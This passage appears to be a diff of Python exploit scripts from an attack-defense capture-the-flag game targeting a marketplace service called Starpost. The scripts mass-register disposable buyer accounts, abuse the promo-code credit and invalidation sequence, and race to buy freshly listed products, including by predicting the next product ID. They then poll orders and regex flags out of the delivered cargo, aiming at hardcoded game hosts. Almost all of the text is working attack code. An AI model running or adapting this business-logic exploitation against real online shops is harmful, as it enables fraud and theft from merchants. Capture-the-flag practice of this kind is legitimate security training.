find_product_sellers(base, user_ids, product_ids, deadline)
|
||||
if product_ids
|
||||
else []
|
||||
)
|
||||
named_identities = (
|
||||
find_named_identities(base, user_ids, usernames, deadline)
|
||||
if usernames and time.monotonic() < deadline
|
||||
else []
|
||||
)
|
||||
collected_ids: set[int] = set()
|
||||
for user_id, products_raw in product_sellers:
|
||||
chunks.extend(collect_product_seller(base, user_id, products_raw, deadline))
|
||||
collected_ids.add(user_id)
|
||||
for user_id, identity, identity_raw in named_identities:
|
||||
if user_id in collected_ids:
|
||||
continue
|
||||
chunks.extend(
|
||||
collect_known_identity(base, user_id, identity, identity_raw, deadline)
|
||||
)
|
||||
else:
|
||||
user_ids = list(range(newest - 1, max(0, newest - RECENT_USER_WINDOW - 1), -1))
|
||||
chunks.extend(collect_recent(base, user_ids, deadline))
|
||||
flags = sorted(set(FLAG_RE.findall(b"\n".join(chunks))))
|
||||
print(f"mode={mode}, checked up to {checked} identities; candidates={len(flags)}", file=sys.stderr)
|
||||
print(f"checked up to {len(user_ids)} recent identities; candidates={len(flags)}", file=sys.stderr)
|
||||
return b"\n".join(flags).decode("ascii")
|
||||
|
||||
|
||||
|
||||
Executable
+310
@@ -0,0 +1,310 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import fcntl
|
||||
import hashlib
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
import secrets
|
||||
import signal
|
||||
import sys
|
||||
import time
|
||||
from datetime import UTC, datetime
|
||||
from email.utils import parsedate_to_datetime
|
||||
from http.cookies import SimpleCookie
|
||||
from pathlib import Path
|
||||
from urllib.error import HTTPError, URLError
|
||||
from urllib.parse import urlsplit, urlunsplit
|
||||
from urllib.request import HTTPRedirectHandler, ProxyHandler, Request, build_opener
|
||||
|
||||
SERVICE_PORT = 8090
|
||||
RUN_TIMEOUT = 7.5
|
||||
REQUEST_TIMEOUT = 1.5
|
||||
MAX_RESPONSE = 512 * 1024
|
||||
MAX_PRICE = 200
|
||||
MAX_PRODUCT_AGE = 5.0
|
||||
MAX_CANDIDATES = 2
|
||||
MAX_ORDER_POLLS = 6
|
||||
POLL_INTERVAL = 0.25
|
||||
ACTIVE_SECOND_START = 18
|
||||
ACTIVE_SECOND_END = 40
|
||||
ACTIVE_HOSTS = {"10.80.2.2", "10.80.4.2", "10.80.5.2", "10.80.11.2", "10.80.12.2"}
|
||||
STATE_DIR = Path(os.environ.get("STARPOST_EARLY_BUY_STATE_DIR", "/tmp/starpost-early-buy"))
|
||||
FLAG_PATTERN = re.compile(r"(?<![A-Za-z0-9])[A-Z0-9]{31}=(?![A-Za-z0-9])")
|
||||
|
||||
|
||||
class NoRedirects(HTTPRedirectHandler):
|
||||
def redirect_request(self, req, fp, code, msg, headers, newurl):
|
||||
return None
|
||||
|
||||
|
||||
OPENER = build_opener(ProxyHandler({}), NoRedirects())
|
||||
|
||||
|
||||
def build_target(raw_target: str) -> str:
|
||||
raw = raw_target.strip()
|
||||
if not raw:
|
||||
raise ValueError("empty target")
|
||||
if "://" not in raw:
|
||||
raw = f"http://{f'[{raw}]' if raw.count(':') > 1 and not raw.startswith('[') else raw}"
|
||||
parsed = urlsplit(raw)
|
||||
if parsed.scheme not in {"http", "https"} or not parsed.hostname:
|
||||
raise ValueError("expected HTTP(S) target")
|
||||
if parsed.username or parsed.password or parsed.path not in {"", "/"}:
|
||||
raise ValueError("target must contain only a host and optional port")
|
||||
if parsed.query or parsed.fragment:
|
||||
raise ValueError("target must not contain query or fragment")
|
||||
port = parsed.port or SERVICE_PORT
|
||||
if not 1 <= port <= 65535:
|
||||
raise ValueError("invalid target port")
|
||||
host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname
|
||||
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", ""))
|
||||
|
||||
|
||||
def request_json(
|
||||
target: str,
|
||||
path: str,
|
||||
deadline: float,
|
||||
*,
|
||||
method: str = "GET",
|
||||
payload: dict | None = None,
|
||||
cookie: str | None = None,
|
||||
) -> tuple[int, object, str | None]:
|
||||
remaining = deadline - time.monotonic()
|
||||
if remaining <= 0:
|
||||
raise TimeoutError("run deadline exceeded")
|
||||
raw_body = json.dumps(payload, separators=(",", ":")).encode() if payload is not None else None
|
||||
headers = {"Accept": "application/json", "User-Agent": "neo-starpost-early-buy/1.0"}
|
||||
if raw_body is not None:
|
||||
headers["Content-Type"] = "application/json"
|
||||
if cookie:
|
||||
headers["Cookie"] = f"session={cookie}"
|
||||
request = Request(target + path, data=raw_body, headers=headers, method=method)
|
||||
try:
|
||||
response = OPENER.open(request, timeout=min(REQUEST_TIMEOUT, remaining))
|
||||
except HTTPError as exc:
|
||||
response = exc
|
||||
with response:
|
||||
raw = response.read(MAX_RESPONSE + 1)
|
||||
if len(raw) > MAX_RESPONSE:
|
||||
raise ValueError("response too large")
|
||||
cookies = SimpleCookie()
|
||||
for header in response.headers.get_all("Set-Cookie", []):
|
||||
cookies.load(header)
|
||||
session_cookie = cookies["session"].value if "session" in cookies else None
|
||||
try:
|
||||
decoded = json.loads(raw)
|
||||
except (UnicodeDecodeError, json.JSONDecodeError):
|
||||
raise ValueError("invalid JSON response") from None
|
||||
return response.status, decoded, session_cookie
|
||||
|
||||
|
||||
def state_paths(target: str) -> tuple[Path, Path]:
|
||||
key = hashlib.sha256(target.encode()).hexdigest()[:20]
|
||||
return STATE_DIR / f"{key}.json", STATE_DIR / f"{key}.lock"
|
||||
|
||||
|
||||
def load_seen(path: Path) -> set[int]:
|
||||
try:
|
||||
data = json.loads(path.read_text())
|
||||
except (FileNotFoundError, OSError, ValueError, json.JSONDecodeError):
|
||||
return set()
|
||||
values = data.get("seen") if isinstance(data, dict) else None
|
||||
if not isinstance(values, list):
|
||||
return set()
|
||||
return {value for value in values if isinstance(value, int) and not isinstance(value, bool) and value > 0}
|
||||
|
||||
|
||||
def save_seen(path: Path, seen: set[int]) -> None:
|
||||
STATE_DIR.mkdir(mode=0o700, parents=True, exist_ok=True)
|
||||
temporary = path.with_suffix(".tmp")
|
||||
temporary.write_text(json.dumps({"seen": sorted(seen, reverse=True)[:256]}, separators=(",", ":")))
|
||||
os.chmod(temporary, 0o600)
|
||||
temporary.replace(path)
|
||||
|
||||
|
||||
def parse_time(value: object) -> datetime | None:
|
||||
if not isinstance(value, str):
|
||||
return None
|
||||
try:
|
||||
parsed = datetime.fromisoformat(value)
|
||||
except ValueError:
|
||||
try:
|
||||
parsed = parsedate_to_datetime(value)
|
||||
except (TypeError, ValueError):
|
||||
return None
|
||||
return parsed.astimezone(UTC) if parsed.tzinfo else None
|
||||
|
||||
|
||||
def fresh_products(products: object, seen: set[int]) -> tuple[list[tuple[int, int]], set[int]]:
|
||||
if not isinstance(products, list):
|
||||
raise TypeError("products response is not a list")
|
||||
now = datetime.now(UTC)
|
||||
catalog_ids: set[int] = set()
|
||||
fresh: list[tuple[datetime, int, int]] = []
|
||||
for product in products:
|
||||
if not isinstance(product, dict):
|
||||
continue
|
||||
product_id = product.get("id")
|
||||
price = product.get("price")
|
||||
created_at = parse_time(product.get("created_at"))
|
||||
if not isinstance(product_id, int) or isinstance(product_id, bool) or product_id <= 0:
|
||||
continue
|
||||
catalog_ids.add(product_id)
|
||||
if (
|
||||
product_id not in seen
|
||||
and isinstance(price, int)
|
||||
and not isinstance(price, bool)
|
||||
and 1 <= price <= MAX_PRICE
|
||||
and created_at is not None
|
||||
and -1.0 <= (now - created_at).total_seconds() <= MAX_PRODUCT_AGE
|
||||
):
|
||||
fresh.append((created_at, product_id, price))
|
||||
fresh.sort(reverse=True)
|
||||
return [(product_id, price) for _, product_id, price in fresh[:MAX_CANDIDATES]], catalog_ids
|
||||
|
||||
|
||||
def prepare_buyer(target: str, deadline: float) -> tuple[str, str]:
|
||||
marker = secrets.token_hex(8)
|
||||
status, _, cookie = request_json(
|
||||
target,
|
||||
"/api/register",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={"username": f"early-{marker}", "password": secrets.token_urlsafe(18), "role": "buyer"},
|
||||
)
|
||||
if status != 201 or not cookie:
|
||||
raise ValueError(f"buyer registration returned HTTP {status}")
|
||||
status, account, _ = request_json(target, "/api/account", deadline, cookie=cookie)
|
||||
if status != 200 or not isinstance(account, dict):
|
||||
raise ValueError(f"account returned HTTP {status}")
|
||||
promo = account.get("promo")
|
||||
code = promo.get("code") if isinstance(promo, dict) else None
|
||||
if not isinstance(code, str):
|
||||
raise TypeError("buyer promo missing")
|
||||
status, _, _ = request_json(
|
||||
target,
|
||||
"/api/promo/credit",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={"code": code},
|
||||
cookie=cookie,
|
||||
)
|
||||
if status != 200:
|
||||
raise ValueError(f"promo credit returned HTTP {status}")
|
||||
return cookie, code
|
||||
|
||||
|
||||
def buy_and_collect(target: str, product_id: int, cookie: str, promo_code: str, deadline: float) -> set[str]:
|
||||
status, order, _ = request_json(
|
||||
target,
|
||||
f"/api/products/{product_id}/buy",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={},
|
||||
cookie=cookie,
|
||||
)
|
||||
if status == 409 and isinstance(order, dict) and order.get("error") == "promo code must be invalidated":
|
||||
status, invalidation, _ = request_json(
|
||||
target,
|
||||
"/api/promo/invalidate",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={"code": promo_code},
|
||||
cookie=cookie,
|
||||
)
|
||||
if status != 200 or not isinstance(invalidation, dict) or invalidation.get("invalidated") is not True:
|
||||
return set()
|
||||
status, order, _ = request_json(
|
||||
target,
|
||||
f"/api/products/{product_id}/buy",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={},
|
||||
cookie=cookie,
|
||||
)
|
||||
if status != 201 or not isinstance(order, dict) or not isinstance(order.get("id"), int):
|
||||
return set()
|
||||
order_id = order["id"]
|
||||
for poll in range(MAX_ORDER_POLLS):
|
||||
if poll:
|
||||
time.sleep(min(POLL_INTERVAL, max(0.0, deadline - time.monotonic())))
|
||||
status, orders, _ = request_json(target, "/api/orders", deadline, cookie=cookie)
|
||||
if status != 200 or not isinstance(orders, list):
|
||||
continue
|
||||
delivered = next(
|
||||
(
|
||||
item
|
||||
for item in orders
|
||||
if isinstance(item, dict)
|
||||
and item.get("id") == order_id
|
||||
and item.get("status") == "delivered"
|
||||
),
|
||||
None,
|
||||
)
|
||||
if delivered is not None:
|
||||
cargo = delivered.get("cargo")
|
||||
return set(FLAG_PATTERN.findall(cargo)) if isinstance(cargo, str) else set()
|
||||
return set()
|
||||
|
||||
|
||||
def run_exploit(raw_target: str) -> tuple[list[str], str]:
|
||||
current_second = datetime.now(UTC).second
|
||||
if not ACTIVE_SECOND_START <= current_second <= ACTIVE_SECOND_END:
|
||||
return [], "idle"
|
||||
target = build_target(raw_target)
|
||||
if urlsplit(target).hostname not in ACTIVE_HOSTS:
|
||||
return [], "inactive"
|
||||
deadline = time.monotonic() + RUN_TIMEOUT
|
||||
state_path, lock_path = state_paths(target)
|
||||
STATE_DIR.mkdir(mode=0o700, parents=True, exist_ok=True)
|
||||
with lock_path.open("a+") as lock:
|
||||
os.chmod(lock_path, 0o600)
|
||||
try:
|
||||
fcntl.flock(lock, fcntl.LOCK_EX | fcntl.LOCK_NB)
|
||||
except BlockingIOError:
|
||||
return [], "busy"
|
||||
seen = load_seen(state_path)
|
||||
status, products, _ = request_json(target, "/api/products", deadline)
|
||||
if status != 200:
|
||||
raise ValueError(f"products returned HTTP {status}")
|
||||
candidates, catalog_ids = fresh_products(products, seen)
|
||||
save_seen(state_path, seen | catalog_ids)
|
||||
if not candidates:
|
||||
return [], "waiting"
|
||||
flags: set[str] = set()
|
||||
for product_id, _ in candidates:
|
||||
cookie, promo_code = prepare_buyer(target, deadline)
|
||||
flags.update(buy_and_collect(target, product_id, cookie, promo_code, deadline))
|
||||
if time.monotonic() >= deadline:
|
||||
break
|
||||
return sorted(flags), f"products={len(candidates)}"
|
||||
|
||||
|
||||
def main() -> int:
|
||||
if len(sys.argv) != 2:
|
||||
print(f"Usage: {sys.argv[0]} HOST", file=sys.stderr)
|
||||
return 2
|
||||
|
||||
def hard_timeout(_signum, _frame):
|
||||
raise TimeoutError("run deadline exceeded")
|
||||
|
||||
signal.signal(signal.SIGALRM, hard_timeout)
|
||||
signal.setitimer(signal.ITIMER_REAL, RUN_TIMEOUT + 0.25)
|
||||
try:
|
||||
flags, result = run_exploit(sys.argv[1])
|
||||
except (HTTPError, URLError, OSError, TimeoutError, TypeError, ValueError, json.JSONDecodeError) as exc:
|
||||
print(f"request failed: {exc}", file=sys.stderr)
|
||||
return 1
|
||||
finally:
|
||||
signal.setitimer(signal.ITIMER_REAL, 0)
|
||||
for flag in flags:
|
||||
print(flag, flush=True)
|
||||
print(result, file=sys.stderr)
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
+112
-61
@@ -19,6 +19,8 @@ from datetime import datetime, timedelta, timezone
|
||||
from email.utils import parsedate_to_datetime
|
||||
from http.cookies import SimpleCookie
|
||||
from ipaddress import ip_address
|
||||
from queue import Empty, Queue
|
||||
from threading import Thread
|
||||
from urllib.error import HTTPError, URLError
|
||||
from urllib.parse import urlsplit, urlunsplit
|
||||
from urllib.request import HTTPRedirectHandler, ProxyHandler, Request, build_opener
|
||||
@@ -57,6 +59,34 @@ class NoRedirects(HTTPRedirectHandler):
|
||||
OPENER = build_opener(ProxyHandler({}), NoRedirects())
|
||||
|
||||
|
||||
def start_task(function, *args) -> Queue:
|
||||
result = Queue(maxsize=1)
|
||||
|
||||
def run():
|
||||
try:
|
||||
result.put((True, function(*args)))
|
||||
except Exception as exc:
|
||||
result.put((False, exc))
|
||||
|
||||
Thread(target=run, daemon=True).start()
|
||||
return result
|
||||
|
||||
|
||||
def task_result(result: Queue, deadline: float, wait_limit: float | None = None):
|
||||
remaining = deadline - time.monotonic()
|
||||
if wait_limit is not None:
|
||||
remaining = min(remaining, wait_limit)
|
||||
if remaining <= 0:
|
||||
raise TimeoutError("run deadline exceeded")
|
||||
try:
|
||||
ok, value = result.get(timeout=remaining)
|
||||
except Empty:
|
||||
raise TimeoutError("parallel request timed out") from None
|
||||
if not ok:
|
||||
raise value
|
||||
return value
|
||||
|
||||
|
||||
def build_target(target: str) -> str:
|
||||
raw = target.strip()
|
||||
if not raw:
|
||||
@@ -154,6 +184,75 @@ def fetch_attack_hints(target_host: str, deadline: float) -> set[int] | None:
|
||||
return None
|
||||
|
||||
|
||||
def prepare_buyer(target: str, deadline: float) -> tuple[str, int, str]:
|
||||
marker = secrets.token_hex(8)
|
||||
status, _, cookie = request_json(
|
||||
target,
|
||||
"/api/register",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={"username": f"market-{marker}", "password": secrets.token_urlsafe(18), "role": "buyer"},
|
||||
)
|
||||
if status != 201 or not cookie:
|
||||
raise ValueError(f"buyer registration returned HTTP {status}")
|
||||
|
||||
status, account, _ = request_json(target, "/api/account", deadline, cookie=cookie)
|
||||
if status != 200 or not isinstance(account, dict):
|
||||
raise ValueError(f"account returned HTTP {status}")
|
||||
promo = account.get("promo")
|
||||
user = account.get("user")
|
||||
if not isinstance(promo, dict) or not isinstance(promo.get("code"), str):
|
||||
raise ValueError("buyer promo missing")
|
||||
if not isinstance(user, dict) or not isinstance(user.get("balance"), int):
|
||||
raise ValueError("buyer balance missing")
|
||||
|
||||
status, credit, _ = request_json(
|
||||
target,
|
||||
"/api/promo/credit",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={"code": promo["code"]},
|
||||
cookie=cookie,
|
||||
)
|
||||
if status != 200 or not isinstance(credit, dict):
|
||||
raise ValueError(f"promo credit returned HTTP {status}")
|
||||
credited = credit.get("credited")
|
||||
if not isinstance(credited, int) or isinstance(credited, bool) or credited < 0:
|
||||
raise ValueError("invalid credited amount")
|
||||
return cookie, user["balance"] + credited, promo["code"]
|
||||
|
||||
|
||||
def buy_product(target: str, product_id: int, cookie: str, promo_code: str, deadline: float) -> tuple[int, object]:
|
||||
status, order, _ = request_json(
|
||||
target,
|
||||
f"/api/products/{product_id}/buy",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={},
|
||||
cookie=cookie,
|
||||
)
|
||||
if status == 409 and isinstance(order, dict) and order.get("error") == "promo code must be invalidated":
|
||||
status, invalidation, _ = request_json(
|
||||
target,
|
||||
"/api/promo/invalidate",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={"code": promo_code},
|
||||
cookie=cookie,
|
||||
)
|
||||
if status != 200 or not isinstance(invalidation, dict) or invalidation.get("invalidated") is not True:
|
||||
return status, invalidation
|
||||
status, order, _ = request_json(
|
||||
target,
|
||||
f"/api/products/{product_id}/buy",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={},
|
||||
cookie=cookie,
|
||||
)
|
||||
return status, order
|
||||
|
||||
|
||||
def parse_created_at(raw: object) -> datetime | None:
|
||||
if not isinstance(raw, str):
|
||||
return None
|
||||
@@ -219,11 +318,17 @@ def candidates(products: object, now: datetime | None = None, hint_ids: set[int]
|
||||
def run_exploit(raw_target: str) -> tuple[list[str], int, int]:
|
||||
target = build_target(raw_target)
|
||||
deadline = time.monotonic() + RUN_TIMEOUT
|
||||
|
||||
status, products, _ = request_json(target, "/api/products", deadline)
|
||||
buyer_task = start_task(prepare_buyer, target, deadline)
|
||||
products_task = start_task(request_json, target, "/api/products", deadline)
|
||||
hints_task = start_task(fetch_attack_hints, urlsplit(target).hostname or "", deadline)
|
||||
cookie, budget, promo_code = task_result(buyer_task, deadline)
|
||||
status, products, _ = task_result(products_task, deadline)
|
||||
if status != 200:
|
||||
raise ValueError(f"catalog returned HTTP {status}")
|
||||
hint_ids = fetch_attack_hints(urlsplit(target).hostname or "", deadline)
|
||||
try:
|
||||
hint_ids = task_result(hints_task, deadline, 0.1)
|
||||
except TimeoutError:
|
||||
hint_ids = None
|
||||
available = candidates(products, hint_ids=hint_ids)
|
||||
if not available:
|
||||
return [], 0, 0
|
||||
@@ -231,68 +336,12 @@ def run_exploit(raw_target: str) -> tuple[list[str], int, int]:
|
||||
flags: set[str] = set()
|
||||
bought_count = 0
|
||||
polls = 0
|
||||
for product_id, price in available:
|
||||
for candidate_index, (product_id, price) in enumerate(available):
|
||||
if time.monotonic() >= deadline:
|
||||
break
|
||||
marker = secrets.token_hex(8)
|
||||
status, _, cookie = request_json(
|
||||
target,
|
||||
"/api/register",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={"username": f"market-{marker}", "password": secrets.token_urlsafe(18), "role": "buyer"},
|
||||
)
|
||||
if status != 201 or not cookie:
|
||||
raise ValueError(f"buyer registration returned HTTP {status}")
|
||||
|
||||
status, account, _ = request_json(target, "/api/account", deadline, cookie=cookie)
|
||||
if status != 200 or not isinstance(account, dict):
|
||||
raise ValueError(f"account returned HTTP {status}")
|
||||
promo = account.get("promo")
|
||||
user = account.get("user")
|
||||
if not isinstance(promo, dict) or not isinstance(promo.get("code"), str):
|
||||
raise ValueError("buyer promo missing")
|
||||
if not isinstance(user, dict) or not isinstance(user.get("balance"), int):
|
||||
raise ValueError("buyer balance missing")
|
||||
budget = user["balance"]
|
||||
|
||||
status, credit, _ = request_json(
|
||||
target,
|
||||
"/api/promo/credit",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={"code": promo["code"]},
|
||||
cookie=cookie,
|
||||
)
|
||||
if status != 200 or not isinstance(credit, dict):
|
||||
raise ValueError(f"promo credit returned HTTP {status}")
|
||||
credited = credit.get("credited")
|
||||
if not isinstance(credited, int) or isinstance(credited, bool) or credited < 0:
|
||||
raise ValueError("invalid credited amount")
|
||||
budget += credited
|
||||
|
||||
# Current Starpost checker uses credit -> invalidate -> purchase.
|
||||
# Buying while a promo_codes row still exists now returns HTTP 409.
|
||||
status, invalidation, _ = request_json(
|
||||
target,
|
||||
"/api/promo/invalidate",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={"code": promo["code"]},
|
||||
cookie=cookie,
|
||||
)
|
||||
if status != 200 or not isinstance(invalidation, dict) or invalidation.get("invalidated") is not True:
|
||||
raise ValueError(f"promo invalidation returned HTTP {status}")
|
||||
if price > budget:
|
||||
continue
|
||||
status, order, _ = request_json(
|
||||
target,
|
||||
f"/api/products/{product_id}/buy",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={},
|
||||
cookie=cookie,
|
||||
)
|
||||
status, order = buy_product(target, product_id, cookie, promo_code, deadline)
|
||||
if status != 201 or not isinstance(order, dict):
|
||||
continue
|
||||
order_id = order.get("id")
|
||||
@@ -318,6 +367,8 @@ def run_exploit(raw_target: str) -> tuple[list[str], int, int]:
|
||||
break
|
||||
if flags:
|
||||
break
|
||||
if candidate_index + 1 < len(available):
|
||||
cookie, budget, promo_code = prepare_buyer(target, deadline)
|
||||
return sorted(flags), bought_count, polls
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,330 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import fcntl
|
||||
import hashlib
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
import secrets
|
||||
import signal
|
||||
import statistics
|
||||
import sys
|
||||
import time
|
||||
from http.cookies import SimpleCookie
|
||||
from pathlib import Path
|
||||
from urllib.error import HTTPError, URLError
|
||||
from urllib.parse import urlsplit, urlunsplit
|
||||
from urllib.request import HTTPRedirectHandler, ProxyHandler, Request, build_opener
|
||||
|
||||
|
||||
SERVICE_PORT = 8090
|
||||
RUN_TIMEOUT = 1.35
|
||||
REQUEST_TIMEOUT = 0.45
|
||||
MAX_RESPONSE = 512 * 1024
|
||||
PREBUY_INTERVAL = 0.15
|
||||
MAX_SEQUENCE_GAP = 4
|
||||
STATE_VERSION = 2
|
||||
FLAG_PATTERN = re.compile(r"(?<![A-Z0-9])[A-Z0-9]{31}=(?![A-Z0-9])")
|
||||
STATE_DIR = Path(os.environ.get("STARPOST_PREBUY_STATE_DIR", "/tmp/starpost-prebuy"))
|
||||
|
||||
|
||||
class NoRedirects(HTTPRedirectHandler):
|
||||
def redirect_request(self, req, fp, code, msg, headers, newurl):
|
||||
return None
|
||||
|
||||
|
||||
OPENER = build_opener(ProxyHandler({}), NoRedirects())
|
||||
|
||||
|
||||
def build_target(raw_target: str) -> str:
|
||||
raw = raw_target.strip()
|
||||
if not raw:
|
||||
raise ValueError("empty target")
|
||||
if "://" not in raw:
|
||||
raw = f"http://{f'[{raw}]' if raw.count(':') > 1 and not raw.startswith('[') else raw}"
|
||||
parsed = urlsplit(raw)
|
||||
if parsed.scheme not in {"http", "https"} or not parsed.hostname:
|
||||
raise ValueError("expected HTTP(S) target")
|
||||
if parsed.username or parsed.password or parsed.path not in {"", "/"}:
|
||||
raise ValueError("target must contain only a host and optional port")
|
||||
if parsed.query or parsed.fragment:
|
||||
raise ValueError("target must not contain query or fragment")
|
||||
port = parsed.port or SERVICE_PORT
|
||||
if not 1 <= port <= 65535:
|
||||
raise ValueError("invalid target port")
|
||||
host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname
|
||||
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", ""))
|
||||
|
||||
|
||||
def request_json(
|
||||
target: str,
|
||||
path: str,
|
||||
deadline: float,
|
||||
*,
|
||||
method: str = "GET",
|
||||
payload: dict | None = None,
|
||||
cookie: str | None = None,
|
||||
) -> tuple[int, object, str | None]:
|
||||
remaining = deadline - time.monotonic()
|
||||
if remaining <= 0:
|
||||
raise TimeoutError("run deadline exceeded")
|
||||
body = json.dumps(payload, separators=(",", ":")).encode() if payload is not None else None
|
||||
headers = {"Accept": "application/json", "User-Agent": "neo-starpost-prebuy/1.0"}
|
||||
if body is not None:
|
||||
headers["Content-Type"] = "application/json"
|
||||
if cookie:
|
||||
headers["Cookie"] = f"session={cookie}"
|
||||
request = Request(target + path, data=body, headers=headers, method=method)
|
||||
try:
|
||||
response = OPENER.open(request, timeout=min(REQUEST_TIMEOUT, remaining))
|
||||
except HTTPError as exc:
|
||||
response = exc
|
||||
with response:
|
||||
raw = response.read(MAX_RESPONSE + 1)
|
||||
if len(raw) > MAX_RESPONSE:
|
||||
raise ValueError("response too large")
|
||||
jar = SimpleCookie()
|
||||
for header in response.headers.get_all("Set-Cookie", []):
|
||||
jar.load(header)
|
||||
session_cookie = jar["session"].value if "session" in jar else None
|
||||
try:
|
||||
decoded = json.loads(raw)
|
||||
except (UnicodeDecodeError, json.JSONDecodeError):
|
||||
raise ValueError("invalid JSON response") from None
|
||||
return response.status, decoded, session_cookie
|
||||
|
||||
|
||||
def state_paths(target: str) -> tuple[Path, Path]:
|
||||
key = hashlib.sha256(target.encode()).hexdigest()[:20]
|
||||
return STATE_DIR / f"{key}.json", STATE_DIR / f"{key}.lock"
|
||||
|
||||
|
||||
def load_state(path: Path) -> dict:
|
||||
try:
|
||||
state = json.loads(path.read_text())
|
||||
except (OSError, UnicodeDecodeError, json.JSONDecodeError):
|
||||
return {}
|
||||
if not isinstance(state, dict):
|
||||
return {}
|
||||
if state.get("version") != STATE_VERSION:
|
||||
return {}
|
||||
cookie, promo = state.get("cookie"), state.get("promo")
|
||||
next_id, pending_order = state.get("next_id"), state.get("pending_order")
|
||||
pending_cookie = state.get("pending_cookie")
|
||||
return {
|
||||
"version": STATE_VERSION,
|
||||
"cookie": cookie if isinstance(cookie, str) else None,
|
||||
"promo": promo if isinstance(promo, str) else None,
|
||||
"ready": state.get("ready") is True,
|
||||
"next_id": next_id if isinstance(next_id, int) and next_id > 0 else None,
|
||||
"pending_order": pending_order if isinstance(pending_order, int) and pending_order > 0 else None,
|
||||
"pending_cookie": pending_cookie if isinstance(pending_cookie, str) else None,
|
||||
}
|
||||
|
||||
|
||||
def save_state(path: Path, state: dict) -> None:
|
||||
STATE_DIR.mkdir(mode=0o700, parents=True, exist_ok=True)
|
||||
temporary = path.with_suffix(".tmp")
|
||||
descriptor = os.open(temporary, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600)
|
||||
try:
|
||||
with os.fdopen(descriptor, "w") as output:
|
||||
json.dump(state, output, separators=(",", ":"))
|
||||
os.replace(temporary, path)
|
||||
finally:
|
||||
try:
|
||||
temporary.unlink()
|
||||
except FileNotFoundError:
|
||||
pass
|
||||
|
||||
|
||||
def prepare_buyer_step(target: str, state: dict, deadline: float) -> str:
|
||||
if not state.get("cookie"):
|
||||
marker = secrets.token_hex(8)
|
||||
status, _, cookie = request_json(
|
||||
target,
|
||||
"/api/register",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={
|
||||
"username": f"prebuy-{marker}",
|
||||
"password": secrets.token_urlsafe(18),
|
||||
"role": "buyer",
|
||||
},
|
||||
)
|
||||
if status != 201 or not cookie:
|
||||
raise ValueError(f"buyer registration returned HTTP {status}")
|
||||
state.update(cookie=cookie, promo=None, ready=False)
|
||||
return "registered"
|
||||
|
||||
if not state.get("promo"):
|
||||
status, account, _ = request_json(target, "/api/account", deadline, cookie=state["cookie"])
|
||||
if status != 200 or not isinstance(account, dict):
|
||||
raise ValueError(f"account returned HTTP {status}")
|
||||
promo = account.get("promo")
|
||||
if not isinstance(promo, dict) or not isinstance(promo.get("code"), str):
|
||||
state.update(cookie=None, promo=None, ready=False)
|
||||
return "buyer-reset"
|
||||
state["promo"] = promo["code"]
|
||||
return "promo-loaded"
|
||||
|
||||
status, credited, _ = request_json(
|
||||
target,
|
||||
"/api/promo/credit",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={"code": state["promo"]},
|
||||
cookie=state["cookie"],
|
||||
)
|
||||
if status != 200 or not isinstance(credited, dict):
|
||||
state.update(cookie=None, promo=None, ready=False)
|
||||
return f"credit-http-{status}"
|
||||
request_json(
|
||||
target,
|
||||
"/api/promo/invalidate",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={"code": state["promo"]},
|
||||
cookie=state["cookie"],
|
||||
)
|
||||
state["ready"] = True
|
||||
return "prepared"
|
||||
|
||||
|
||||
def sequence_next_id(target: str, deadline: float) -> int | None:
|
||||
status, products, _ = request_json(target, "/api/products", deadline)
|
||||
if status != 200 or not isinstance(products, list):
|
||||
raise ValueError(f"products returned HTTP {status}")
|
||||
product_ids = sorted(
|
||||
{
|
||||
item["id"]
|
||||
for item in products
|
||||
if isinstance(item, dict)
|
||||
and isinstance(item.get("id"), int)
|
||||
and not isinstance(item.get("id"), bool)
|
||||
and 0 < item["id"] < 9_223_372_036_854_775_807
|
||||
},
|
||||
reverse=True,
|
||||
)
|
||||
if len(product_ids) < 4:
|
||||
return None
|
||||
gaps = [left - right for left, right in zip(product_ids[:8], product_ids[1:8])]
|
||||
positive = [gap for gap in gaps if gap > 0]
|
||||
if len(positive) < 3 or statistics.median(positive) > MAX_SEQUENCE_GAP:
|
||||
return None
|
||||
return product_ids[0] + 1
|
||||
|
||||
|
||||
def collect_order(target: str, order_id: int, cookie: str, deadline: float) -> tuple[set[str], bool]:
|
||||
status, orders, _ = request_json(target, "/api/orders", deadline, cookie=cookie)
|
||||
if status != 200 or not isinstance(orders, list):
|
||||
return set(), False
|
||||
order = next(
|
||||
(
|
||||
item
|
||||
for item in orders
|
||||
if isinstance(item, dict)
|
||||
and item.get("id") == order_id
|
||||
and item.get("status") == "delivered"
|
||||
),
|
||||
None,
|
||||
)
|
||||
if order is None:
|
||||
return set(), False
|
||||
cargo = order.get("cargo")
|
||||
flags = set(FLAG_PATTERN.findall(cargo)) if isinstance(cargo, str) else set()
|
||||
return flags, True
|
||||
|
||||
|
||||
def run_exploit(raw_target: str) -> tuple[list[str], str]:
|
||||
target = build_target(raw_target)
|
||||
deadline = time.monotonic() + RUN_TIMEOUT
|
||||
